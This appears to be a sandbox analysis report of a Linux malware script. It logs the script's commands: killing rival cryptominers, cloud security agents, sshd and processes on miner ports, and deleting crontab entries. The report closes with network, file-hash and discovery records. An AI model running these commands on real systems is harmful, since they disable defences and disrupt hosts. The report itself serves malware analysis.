[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmallocinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/zoneinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ps

[ps aux]

/bin/grep

[grep /dot]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f hezb]

/bin/grep

[grep -v grep]

/bin/grep

[grep tracepath]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f /tmp/.out]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./ll1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -i [a]liyun]

/bin/ps

[ps aux]

/bin/grep

[grep -i [y]unjing]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep php-fpm pool www]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep Cli start accept]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep bash -k]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep perfctl]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep 185.71.65.238]

/usr/bin/awk

[awk {print $7}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep 140.82.52.87]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep 207.38.87.6]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 23.94.214.119]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep 42.112.28.216:9486]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /192.81.212.13/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /python/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shm/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /postgresql/d]

/usr/bin/crontab

[crontab -l]

/bin/sed

[sed /cloudfronts/d]

/usr/bin/crontab

[crontab -]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sshd/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /neoogilvy/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /rsync/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bpdeliver/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /perfcc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/pkill

[pkill -f sshd]

/usr/bin/pkill

[pkill -f htop]

/usr/bin/pkill

[pkill -f linuxsys]

/usr/bin/pkill

[pkill -f kthreaddo]

/usr/bin/pkill

[pkill -f donkey]

/usr/bin/pkill

[pkill -f sysupdater]

/usr/bin/pkill

[pkill -f php-update.service]

/usr/bin/pkill

[pkill -f update-setup]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :1414]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep 127.0.0.1:52018]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :143]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep :2222]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :3333]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3389]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :4444]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :5555]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :6666]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :6665]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :6667]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :7777]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/bin/grep

[grep :8444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3347]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :14444]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :14433]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $7}]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep :13531]

/bin/grep

[grep -v -]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/01]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/01]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/11]

/bin/cat

[cat /tmp/.X11-unix/11]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/sed

[sed -i s/^0// /tmp/.X11-unix/22]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.X11-unix/22]

/bin/sed

[sed -i s/^0// /tmp/.systemd.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.1]

/bin/sed

[sed -i s/^0// /tmp/.systemd.2]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.2]

/bin/sed

[sed -i s/^0// /tmp/.systemd.3]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.systemd.3]

/bin/cat

[cat /tmp/.systemd.1]

/bin/cat

[cat /tmp/.systemd.2]

/bin/cat

[cat /tmp/.systemd.3]

/bin/sed

[sed -i s/^0// /tmp/.pg_stat.0]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.0]

/bin/sed

[sed -i s/^0// /tmp/.pg_stat.1]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /tmp/.pg_stat.1]

/bin/sed

[sed -i s/^0// /data/./oka.pid]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/cat

[cat /data/./oka.pid]

/usr/bin/pkill

[pkill -f 80.211.206.105]

/usr/bin/pkill

[pkill -f 207.38.87.6]

/usr/bin/pkill

[pkill -f p8444]

/usr/bin/pkill

[pkill -f supportxmr]

/usr/bin/pkill

[pkill -f monero]

/usr/bin/pkill

[pkill -f zsvc]

/usr/bin/pkill

[pkill -f pdefenderd]

/usr/bin/pkill

[pkill -f updatecheckerd]

/usr/bin/pkill

[pkill -f cruner]

/usr/bin/pkill

[pkill -f dbused]

/usr/bin/pkill

[pkill -f bashirc]

/usr/bin/pkill

[pkill -f meminitsrv]

/usr/bin/pkill

[pkill -f kthreaddi]

/usr/bin/pkill

[pkill -f srv00]

/usr/bin/pkill

[pkill -f /tmp/.javae/javae]

/usr/bin/pkill

[pkill -f .javae]

/usr/bin/pkill

[pkill -f .syna]

/usr/bin/pkill

[pkill -f .main]

/usr/bin/pkill

[pkill -f xmm]

/usr/bin/pkill

[pkill -f solr.sh]

/usr/bin/pkill

[pkill -f /tmp/.solr/solrd]

/usr/bin/pkill

[pkill -f /tmp/javac]

/usr/bin/pkill

[pkill -f /tmp/.go.sh]

/usr/bin/pkill

[pkill -f /tmp/.x/agetty]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f c3pool]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/gitag-ssh]

/usr/bin/pkill

[pkill -f /tmp/1]

/usr/bin/pkill

[pkill -f /tmp/okk.sh]

/usr/bin/pkill

[pkill -f /tmp/gitaly]

/usr/bin/pkill

[pkill -f /tmp/.x/kworker]

/usr/bin/pkill

[pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB]

/usr/bin/pkill

[pkill -f /tmp/.X11-unix/supervise]

/usr/bin/pkill

[pkill -f /tmp/.ssh/redis.sh]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep ./udp]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep ./oka]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep postgres: autovacum]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/usr/bin/awk

[awk length($1) == 8]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v (]

/bin/ps

[ps ax -o command,pid -www]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/bin/grep

[grep -v kinsing]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/usr/bin/awk

[awk length($1) == 16]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/grep

[grep -v proxymap]

/bin/ps

[ps ax -o command,pid -www]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v bin]

/bin/grep

[grep -v \[]

/usr/bin/awk

[awk length($5) == 8]

/bin/grep

[grep -v (]

/bin/grep

[grep -v php-fpm]

/bin/ps

[ps ax]

/bin/grep

[grep -v proxymap]

/bin/grep

[grep -v postgres]

/bin/grep

[grep -v postgrey]

/usr/bin/awk

[awk {print $1}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/sscks]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/bin/grep

[grep sleep 60]

/usr/bin/awk

[awk {print $2}]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep ./crun]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -vw kdevtmpfsi]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep :3333]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep :5555]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep kworker -c\]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/bin/grep

[grep log_]

/bin/grep

[grep -v grep]

/usr/bin/awk

[awk {print $2}]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep systemten]

/bin/grep

[grep netns]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/local/sbin/kill

[kill -9 10]

/usr/local/bin/kill

[kill -9 10]

/usr/sbin/kill

[kill -9 10]

/usr/bin/kill

[kill -9 10]

/sbin/kill

[kill -9 10]

/bin/kill

[kill -9 10]

/bin/grep

[grep voltuned]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep darwin]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/dl]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v grep]

/bin/ps

[ps aux]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep /tmp/ddg]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

/bin/grep

[grep /tmp/pprt]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/ps

[ps aux]

Network

Country Destination Domain Proto
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp
US 1.1.1.1:53 debian9-mipsbe-20240611-en-6 udp

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

/var/spool/exim4/input/1tJY2e-0000Bu-S1-D

MD5 4b9374ce75aeb8a880d00e2ddb55c6c2
SHA1 a2328d0f35b0a2a64149ae9f6279f635e8d7c643
SHA256 70784e0ec6fed0b9200905b1ea51eb9c0465994780b235456d8c002e520c67b2
SHA512 e2efaff78de09f4a9d4fe1e651e626d6d469d056df6360af3151cbe0943205b125d0efa443e2725b2619fbce6e70950fe7581f7ab2a64ba0fbb1eec77b28bdec

/var/spool/exim4/input/1tJY2e-0000Bx-Rz-D

MD5 bf8eed44b2b74c2004847909b2e86ae5
SHA1 495b3f8937d24a233aebf09029d25a8cc61d634f
SHA256 c8137c3eb80ea3e440f4c333ea42651112d8e711600188d80497c148d6474038
SHA512 f4c5be7bd3ba55ec1c8a6dc627c918ddb7a8fbc60fe29b2cd318aac8233ba3acd6c85912689d0fd97ec6971fb398b78fad6359a6245046495302e266069c6629

/var/spool/exim4/input/hdr.738

MD5 8b7963563ed17a670806913a5a9d27bc
SHA1 6e5775c707f64caa26febe774c1578e3fc5fbeef
SHA256 d86b7438e64d5fec9a5b60aeeaf08f080bd9b83d19b92c952f78c43237363222
SHA512 6f582276ed28b75b80fe09b6e6bd812d6d1cf39d95f55a0495c521cc0250f22e2f0c81562d374c3a9893aa3e54201b59c87623926d40d3fd080a67ec50d9d20c

/var/spool/exim4/msglog/1tJY2e-0000Bu-S1

MD5 3954f2fd58a26dba967baaf0ae455abd
SHA1 48e7c2f93478de655910afc081d6b6fea6e4d755
SHA256 abbc6c100197045cb9d574a47bfbba6438882df9eda035a544d5fa7a9bdea86b
SHA512 ae1aa1f59dfcc72417db4ce48936640f722c858affa8a11d3d1187c8ba5cfe0a7ed6bf6a8d365a1f13dc43c2a864e90edc19856b7f833e8bc7258e9a4a025ad3

/var/spool/exim4/msglog/1tJY2e-0000Bx-Rz

MD5 7846ba766e1e6c5c73ab3133e74eddbd
SHA1 f9585e11b5f7f07bf7e5a7c9de9b8e56c302f193
SHA256 abf3e0af4e2a58e52e79e0357258c3ee2136ab722eff0436d8b2f705c30be408
SHA512 4be197d86072a271e8dc63547ee6fefb46adfb9edb5a4043b08dca12070395bb045c94705f56bbd00434d37e4d175e82cdface7269e7dae199befbf0c02625be

/var/mail/user

MD5 04d595380692ac354a7dbe69d74ed079
SHA1 c2a391d31e94dd03bba6310fa2f74cd3aed3df10
SHA256 6ffca948e4720f3ff3fc658d5496cdcb1d6405b03a14349e32de0530db6dd7dc
SHA512 e9cc18912426667eff5db15a03549fa4ec10a6a12a61054dfb4b4c7d6e0874fc238b90ac274e3c8cca21b6632aed3c0365737c004856129d5e98b228ef0d0e9f

/var/spool/exim4/input/1tJY2e-0000Bx-Rz-J

MD5 d7d96d63d643a4ce3e408eba7dfcedc5
SHA1 c53607f95c5c57beafc1d8266646797a035f76ea
SHA256 21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512 703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

/var/spool/exim4/msglog/1tJY2e-0000Bx-Rz

MD5 c4343c92bdbd5b3c6ee8779e571b779e
SHA1 02d262f86aa19c3746ee34ba802cd115e5dd99ef
SHA256 47f2e7efabdfb6674afb0582ffbd9679ec8f926d2bf8d15b5811ac278c2fbe13
SHA512 e825d0541fba71ec3d8e69b19c7c74ca3235933b6e24c7d145fe2fd814952e86955bd9738462cf9987e902b0d65245d8da93d999ad749c28bbcb6efc184d1dc1

/var/mail/user

MD5 ba8ab9f17610bf9b0f38ce96be9b884e
SHA1 999089bb3078a0a9672c1974ac2ca4d12abec73b
SHA256 a1a91009f4f559147439d8168897de3d26ff818742fb60da4a63ea61a5cdb3fd
SHA512 bf03269ce9397e18914b4c2c3b164a325e71c67adf8b99d10f20fc8dca68827d7195fd39daa14afc22a9dd40cd38f275010fd628e65d190ad0b49aa2b373863e

/var/spool/exim4/msglog/1tJY2e-0000Bu-S1

MD5 c1d9aab8e9ec55c157685e2b483aaa35
SHA1 21afdc8b69617f6ab2d47e926572522c6ba3d9da
SHA256 be994f2d4786367fdf482734bf2856887eaec6d1c78abe354c0f5e0a26946ffb
SHA512 ddbf668bda35564f3b72b4fdb063ee404443b4c87ca34c2951ad18ee8d3ac203e10436d5c53f92c36160f3c65b59a94c9bcddbb1be245537a20da83984c01487

/var/spool/cron/crontabs/tmp.kW5P6D

MD5 32dc6aedd388e8a078b5d2ef73d935c4
SHA1 f4c39c7434bb92f6e52967d4ed7b282839505076
SHA256 7095adacad5e41fb6fd57df6266d51a27bd0f697da059155c723c894632dec2f
SHA512 8b327b88711549edf87c1cdefd4fea960dc54d41dfb9dcf709ec6f3f5e7fe3baf2b376e35e16ec51a682e26dbdee5c8fe62f24877f3d1c1a48dce8da6aca76de

/var/spool/cron/crontabs/tmp.Xyw3sC

MD5 3bc8e08920893db10ee98caa595956f4
SHA1 56e54ac05928c7b460811da84f93ea2d0e061f34
SHA256 d7772a06d9cbde0dcc8a07083a786cf3b1739dc5969ac9a9ede9530cacd92683
SHA512 420e6ce520d39b0094f642e7cda3c261507b4a0bc380621144b11b575167f52ade81b0ecca9582550c00d6268d5d45a8d84bee63e44231fb06381c126e017b14

/var/spool/cron/crontabs/tmp.6Pvlqp

MD5 0f60ee7fd8914eeed74364eb425326a4
SHA1 46409a74d7ab786908330eb4e06b67088fb85d77
SHA256 b4ab9ac79c506c85c528e1d98bdba36b7ce0bfde0c5988c79f1fc87bfc8da00e
SHA512 e4b5d8d1f0b6e1cf373cd21a90f26e24a1a7e5343cc7510c9d2205cc92d5cede50f6123560500b90fcc2dd6c6382337a95a9a57f8b54eea23ba78ec6ff037c55

/var/spool/cron/crontabs/tmp.pQ6DUg

MD5 0ac29e65a08453406b6347bdb2d77f5a
SHA1 f79cde4278ebe5d510f7743c869497c446f6ab79
SHA256 fd7681722b44313393c8f796811a6be6fee54d983b8a2e7a491894386aebf013
SHA512 9d488f2587d4319feeb41b4230d64810fb91271112099b2a13b5b39af5aa868d7cb6910e04954a302934d2dfbfcf6f36e126c5cff960e581ed1d6c6920ac149f

/var/spool/cron/crontabs/tmp.71EVqw

MD5 c138bc35f44341cb43ccadb84c65e05e
SHA1 aef9f369d8585d05c3b49187e545dac22f43e3fe
SHA256 2831a69fe93b271b42e538a92c815c170d20694b597f35cf1442729ad929297f
SHA512 777c6547354ee86aadadcf6f70aa2c324bf8ca6295953e1fc2ddde3c70ff7919c576e02b7ae422f16ee4ee3dd812f836938a6171fdb91bd16e660642f0ec1fab

/var/spool/cron/crontabs/tmp.UOlKeg

MD5 f63cdab5d81e83925b9cd46d8314d738
SHA1 f13f1c660f577815c94e80b7523b7e14558fd0f8
SHA256 e5c250a7743644c75ac86f923eef4db6b14706cbf39ac7cd6501f40d11a15839
SHA512 e379f307fb66bb6435f4d446848bc0da1c7f6235c3c93058f0769039707e2fdbab9211cf2fe6ac309ff4f5171ff979fd4c4031ab242c03a3e9520d903ccc16aa

memory/1817-1-0x76ca9000-0x76cba060-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:08

Platform

debian9-armhf-20240418-en

Max time kernel

2s

Command Line

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/12/status /bin/ps N/A
File opened for reading /proc/19/status /bin/ps N/A
File opened for reading /proc/24/status /bin/ps N/A
File opened for reading /proc/27/status /bin/ps N/A
File opened for reading /proc/uptime /bin/ps N/A
File opened for reading /proc/7/status /bin/ps N/A
File opened for reading /proc/696/status /bin/ps N/A
File opened for reading /proc/sys/kernel/pid_max /bin/ps N/A
File opened for reading /proc/28/status /bin/ps N/A
File opened for reading /proc/107/stat /bin/ps N/A
File opened for reading /proc/681/status /bin/ps N/A
File opened for reading /proc/20/status /bin/ps N/A
File opened for reading /proc/22/stat /bin/ps N/A
File opened for reading /proc/43/stat /bin/ps N/A
File opened for reading /proc/138/status /bin/ps N/A
File opened for reading /proc/9/stat /bin/ps N/A
File opened for reading /proc/12/stat /bin/ps N/A
File opened for reading /proc/13/status /bin/ps N/A
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/579/stat /bin/ps N/A
